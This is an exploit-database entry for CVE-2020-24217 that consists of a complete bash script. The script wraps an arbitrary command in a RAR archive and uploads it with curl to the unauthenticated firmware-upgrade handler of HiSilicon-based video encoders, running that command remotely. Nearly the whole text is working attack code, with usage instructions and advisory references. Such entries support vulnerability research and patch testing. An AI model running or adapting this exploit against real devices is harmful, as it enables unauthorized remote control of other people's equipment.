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HiSilicon video encoders - RCE via unauthenticated upload of malicious firmware Exploit
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#!/usr/bin/env bash # Exploit Title: HiSilicon video encoders - RCE via unauthenticated upload of malicious firmware # Date: 2020-09-20 # Exploit Author: Alexei Kojenov # Vendor Homepage: multiple vendors # Software Link: N/A # Version: vendor-specific # Tested on: Linux # CVE: CVE-2020-24217 # Vendors: URayTech, J-Tech Digital, ProVideoInstruments # Reference: https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/ # Reference: https://www.kb.cert.org/vuls/id/896979 if [ "$#" -ne 2 ] then echo "Usage: $0 <server>[:<port>] <command>" exit 1 fi printf "creating uk.rar... " echo "$2" > uk.txt rar a -ma4 uk.rar uk.txt >/dev/null 2>&1 || { echo "ERROR: rar failed. Is it installed?"; exit 2; } echo "done" rm uk.txt printf "uploading the RAR file... " if curl -s -F 'upgrade=@uk.rar' http://$1 >/dev/null then echo "SUCCESS: remote command executed" rm uk.rar else echo "ERROR: $?" fi # 0day.today [2024-10-06] #